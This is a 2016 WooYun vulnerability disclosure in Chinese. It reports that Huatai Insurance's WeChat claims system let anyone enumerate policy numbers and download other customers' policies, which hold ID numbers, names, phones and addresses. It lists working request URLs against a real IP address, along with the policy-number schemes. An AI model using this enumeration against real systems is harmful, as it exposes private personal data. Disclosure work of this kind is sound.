当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2016-0167702
漏洞标题：
华泰保险某系统设计不当导致可遍历用户保单信息（身份证/护照/姓名/电话/住址）
相关厂商：
华泰财产保险有限公司
漏洞作者：
路人甲
提交时间：
2016-01-08 16:37
修复时间：
2016-02-22 16:48
公开时间：
2016-02-22 16:48
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2016-01-08： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-22： 细节向公众公开

简要描述：

系统设计不当

详细说明：

华泰微信自助理赔
地址：http://202.108.103.169/htweixin/

QQ截图20160106095352.png


在一处保单下载位置，可遍历用户保单信息
http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=WB251646043215001577
http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=WB251646043215001576
http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=WB251646043215001578
通过遍历policyNo即可

QQ截图20160106095717.png


QQ截图20160106095727.png

漏洞证明：

QQ截图20160106095842.png


QQ截图20160106095854.png


http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=WB251646043215002568

QQ截图20160106100055.png


http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=WB251646043215001565

QQ截图20160106100300.png


上面的是境外的保单，下面是境内保单的命名规则
http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=A0011668120000000132

QQ截图20160106101435.png


http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=A0011668120000000131

QQ截图20160106101547.png


http://202.108.103.169/htweixin/InsuranceDownload.action?policyNo=A0011668120000000127

QQ截图20160106101734.png

修复方案：

加判断

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-01-08 16:43

厂商回复：

非常感谢，马上通知系统管理员修改

最新状态：

暂无